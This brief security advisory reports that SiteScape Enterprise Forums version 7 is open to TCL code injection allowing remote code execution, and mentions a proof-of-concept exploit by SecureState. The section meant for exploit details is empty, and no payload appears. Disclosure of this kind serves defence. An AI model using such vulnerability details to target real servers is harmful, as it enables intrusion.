Background:
-----------
TCL Code injection has previously been discovered
New Details:
------------
Confirmation that SiteScape servers are vulnerable to TCL injection allowing remote code execution through TCL payloads. SecureState has released proof of concept exploit code for this vulnerability.
Vulnerable Versions:
--------------------
Tested on SiteScape Enterprise Forums version 7, others may be vulnerable.
TCL Code Injection:
-------------------
